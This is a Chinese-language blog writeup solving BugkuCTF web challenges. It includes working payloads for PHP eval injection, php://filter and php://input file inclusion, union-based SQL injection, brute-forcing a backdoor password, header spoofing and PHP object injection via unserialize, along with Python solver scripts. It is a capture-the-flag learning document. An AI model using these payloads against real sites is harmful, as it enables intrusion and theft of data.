BugkuCTF Writeup——Web(更新中)

BugkuCTF Web——Writeup


作为我这个新手刷的第一个平台,bugku上面的大部分题目还算蛮友好的,这篇用来记录一下 。 ### web2 直接查看F12查看源码即可得flag。
### 计算器 简单计算题,但输入框限制输入长度,直接改改输入框的前端代码,输入计算结果,得到flag。

web基础$_GET

代码审计,GET方法传入what变量的值为’flag’即可得flag。
payload:?what=flag


web基础$_POST

遇上一题类似,只不过是以POST方式传参,在Firefox浏览器中的Hackbar中传入:what=flag


*矛盾

代码审计,要求传入的$num即不能是数字,又要等于1,才能输出flag。
这不是矛盾吗?我这里提供两种绕过思路构造$num
(1) 在php里可以用.来连接字符串,所以当构造num=1.' '时,num就被当做了字符串,但由于后面连接的字符串为空,在弱比较的时候仍然会判断与1相等。
(2)可以想到用科学计数法表示数字1,例如:1E+0.1既不是纯数字,其实际值又等于1。

所以payload?num=1.' '?1E+0.1


web3

查看源代码发现一串Unicode编码,在线解码网站解码即得flag


域名解析

把flag.bugku.com 解析到120.24.86.145即可得flag。
c:\windows\system32\drivers\etc\目录下打开hosts
后进行修改,在最后添加上我们需要的 120.24.86.145 flag.bugku.com
再访问flag.bugku.com即得flag


你必须让他停下

题目要求Stop at panda,就能得到flag,但是页面上的图片再不断变化,可以BurpSuite抓包后,多次重发包,然后没几次就能看到flag。


*本地包含

这道题还是可以分析一下的,关键主要时闭合、构造php代码。
打开题目,发现如下代码:
BugkuCTF Writeup——Web(更新中)

  • 首先判断肯定要通过hello传一个参数进去。
  • 然后看到了eval()这个函数,在CTF比赛中要对这个函数非常敏感,它可以将函数里的字符串当作php代码来解析,再结合题目名:文件包含,思路应该是通过这个函数将php代码以参数传进去,来包含flag.php函数获得flag。
  • 但是eval()函数还有一个var_dump()函数处理传入的参数,这时就需要先对这个函数进行闭合,然后eval()函数就能执行后面的php代码了。(闭合了前面的括号,别忘了最后还有一个括号)

最终构造的payload:?hello=);echo file_get_contents('flag.php'
然后,查看网页源码,flag在源码里。


*变量1

代码审计,考察php可变变量,构造?args=GLOBALS,即得flag。


web5

查看源代码,在线JSfuck解密,将得到的字符串大写提交即可。
解密网站:http://discogscounter.getfreehosting.co.uk/js-noalnum.php


头等舱

flag就在http返回头里,Chrome F12-Network-F5刷新或者BurpSuite抓包即可看到flag


网站被黑

扫描目录发现shell.php,根据题目,这应该是留的后门,直接用burpsuite爆破密码即可,密码为:hack


*管理员系统

抓包后先在请求头里增加:

X-Forwarded-For: 127.0.0.1

来伪装本地ip。
查看源代码最后一行有一个base64字符串,解码后为test123(这其实是密码,一开始可能会当作用户名),用户名为:admin,在burpsuite里面重发包,得到flag。


web4

将源码里的JS代码url解码再拼接,然后审计代码,再password框里输入:67d709b2b54aa2aa648cf6e87a7114f1,得到flag

flag在index里

进入后有一个'click me? no'链接,点击后url跳转到?file=show.php,判断应该为本地文件包含,利用php伪协议。
根据题目“flag在index里”,所以应包含index.php构造如下payload:

?file=php://filter/read=convert.base64-encode/resource=index.php

得到一段base64,解码得flag。


输入密码查看flag

输入5位数得密码,告诉了位数(url里也提示了baopo),那就抓包在burpsuite里爆破即可。


点击一百万次

要点击100万次才行,显然不可能手点,Chrome F12查看源码,看到一段JavaScript代码,复制到Console控制台,并将点击时得count++代码改为count+=999999,然后回车,这样再点一次页面就到100万次啦。
BugkuCTF Writeup——Web(更新中)

备份是个好习惯

根据提示访问index.php.bak(bak是常见得备份文件),下载源码如下:

<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

代码审计得知,要构造key1、key2的值,使他们md5值相等,真值不同。
但这里通过 str_replace('key','',$str)过滤了key,把字符串里面得key替换为空了,但可以双写绕过。
最终payload:?kkeyey1[]=1&kkeyey2[]=2

成绩单

一道没有任何过滤的sql注入题

1' order by 4 #
-1' union select 1,2,3,4 #
-1' union select 1,2,3,table_name from information_schema.tables where table_schema=database() #
-1' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g' #
-1' union select 1,2,3,(select skctf_flag from fl4g) #

*秋名山老司机

这题得写脚本来计算结果并提交,脚本如下:

#!/usr/bin/env python3
#coding=utf-8 

import requests
import re

url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
# 正则表达式匹配算式,并将算是以字符串形式保存在expression中
result = eval(expression)

#根据提示,将计算结果,以post方式传入value
post = {'value': result} 
print(s.post(url, data=post).text)

"""
正则表达式第二种方法
expression = re.findall(r'<div>(.*?)=?;</div>', source)
findall()输出内容只是括号匹配到的内容,不是所有内容,且以列表的形式保存

expression = "".join(expression)
将列表里的算式转换成字符串

expression = expression[:-2]
去掉算式最后的'=?'
"""

*速度要快

(1)先抓包,在返回头里有一串base64,解码得一句话:跑的还不错,给你flag吧: NDE5NzA1,很显然这肯定不是最终结果。
(2)查看源码,发现注释里也有一句话:OK ,now you have to post the margin what you find,意思,意思就是让你把刚刚发现得东西用post传给margin
(3)但是发现其实刚刚抓包得到得一串字符每次都不一样,再结合题目“速度要快”,看来也是要写脚本,将得到的字符串,立刻再传过去。

最终使用脚本如下,即可得到flag:

#!/usr/bin/env python3
#coding=utf-8 

import requests
import base64

url = 'http://123.206.87.240:8002/web6/'

s = requests.Session()

# flag在头部信息里
headers = s.get(url).headers

flag = base64.b64decode(headers['flag']) # b64decode解码出来为byte类型

margin = flag.decode().split(': ')[1]    # 使用split()前,要先将byte转换为str
# split的结果以列表的形式储存,所以取索引[1]来取冒号后面的字符串

margin = base64.b64decode(margin) 
post = {'margin':margin}
print(s.post(url, data=post).text)


*cookies欺骗

(1)观察URL有点不对劲:?line=&filename=a2V5cy50eHQ=,里面有串base64,解密为:keys.txt,根据linefilename判断这个URL意思应该是读取了keys.txt这个文件得第0行。
(2)根据推测,将后面得base64改为index.php得base64编码,即构造?line=&filename=aW5kZXgucGhw,返回的是空白页面,但是源码里面可以看到<?php,于是增大line的值就可以看到一行行代码,可以写个简单的脚本来获取index.php的源码:

#get_code.py

import requests

url = 'http://123.206.87.240:8002/web11/index.php'

s = requests.Session()
for line in range(30):
    payload = {'line':line, 'filename':'aW5kZXgucGhw'} # 这里filename为index.php的base64编码
    print(s.get(url, params=payload).text)

可以得到index.php的源码如下:

//index.php

<?php
error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
	$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
	$fa = file($file);
	echo $fa[$line];
}
?>

得到源码后,进行简单的代码审计,即要传入COOKIE: margin:'margin',且提示了keys.php,因此可以写如下脚本来获得flag:

import requests

url = 'http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy5waHA='
#根据index.php源码得这里filename为keys.php的base64编码

s = requests.Session()

cookies = dict(margin='margin')

print(s.get(url, cookies=cookies).text)

*never give up

(1)先看源码,发现1p.html,于是访问此页面,但是一访问就会自动跳转到bugku的首页,于是抓包,看到一大串东西。
BugkuCTF Writeup——Web(更新中)
(2)将这一大串东西先URL解码,再base64,再URL解码得到如下代码:

var Words ="<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}


?>-->" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
} 
OutWord();

(3)紧接着进行代码审计,关键是要传参满足下面这些条件:

1.$data=="bugku is a nice plateform!" 
2.$id==0
3.strlen($b)>5 and eregi("111".substr($b,0,1),"1114")  and substr($b,0,1)!=4

第一个条件:根据前面的$data = @file_get_contents($a,'r')判断是文件包含,包含的文件里要有bugku is a nice plateform!,可以利用php://input伪协议即可,不了解的可以参考:CTF中文件包含漏洞总结
构造的payload为:?a=php://input,并再post里传入:bugku is a nice plateform!

第二个条件简单,if(!$_GET['id'])限制了id必须非0,但由于后面判断的时候用的是松散比较比较==$id 若想满足非空非零且弱等于整型数 0,则 $id 的值只能为非空非零字符串,这里假设 ,因此我这里构造:?id=qwe
BugkuCTF Writeup——Web(更新中)

第三个条件就是对$b的构造,有下面三个条件:

  • b的长度要大于5
  • 1114要和111加上b的第一位匹配
  • b的第一位不等于4
    因为再php正则表达实里.(点号),可以作为通配符,因此这里可构造b的第一位为点号,然后在任意构造大于5位的数字即可,如:b=.123456

因此综上所述,最终构造的payload为:?id=qwe&a=php://input&b=.1234567,并且在post里传入:bugku is a nice plateform!
这里直接用浏览器的话,会看到flag一闪而过,可以用burpsuite抓包就行了。
BugkuCTF Writeup——Web(更新中)


welcome to bugku

(1)先看源码,看到注释里给了一段代码:
BugkuCTF Writeup——Web(更新中)
用到了php://inputphp://filte伪协议,不清楚的可以看我之前一篇文章:CTF中文件包含漏洞总结
构造的payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php,并在post里传入:welcome to the bugkuctf,得到一段base64
BugkuCTF Writeup——Web(更新中)
(2)将得到base64解码得到下面hint.php的代码:

<?php  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  
?>  

再按照第一步的方法尝试包含flag.php的内容,但是得到一串中文乱码,于是再尝试包含index.php文件,base64解码后得到如下代码:

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
?>  

进行代码审计,是一道php反序列化的题:

  • 首先file不能包含flag,否则就直接退出了,当file不包含flag时,就包含这个文件,并且将password反序列化再输出。

  • 这里看到了反序列化,又想到了刚才的Flag(),显然这里要file=hint.php,将Flag()包含进来。

  • __tostring()函数在直接输出Flag类的对象引用时会被自动调用,并且如果file存在就输出file文件中的内容,显然这里就是我们得到flag.php中内容的途径。

  • 这里看到echo $password;,因此要再password中传入序列化过后的Flag类的一个对象,并且它的file属性要为flag.php,这样在Flag类执行__tostring()时就会包含它,可以写如下脚本来得到payload:

<?php
class Flag{
	public $file;
}

$password = new Flag();
//根据Flag类以及提示,file应该构造为flag.php
$password->file = 'flag.php';
echo serialize($password);
?>

得到的运行的结果为:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

因此最终构造的payload为:?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}BugkuCTF Writeup——Web(更新中)

上一篇:关于base64使用报错


下一篇:org.apache.commons.collections.FastHashMap错误出现原因即解决方法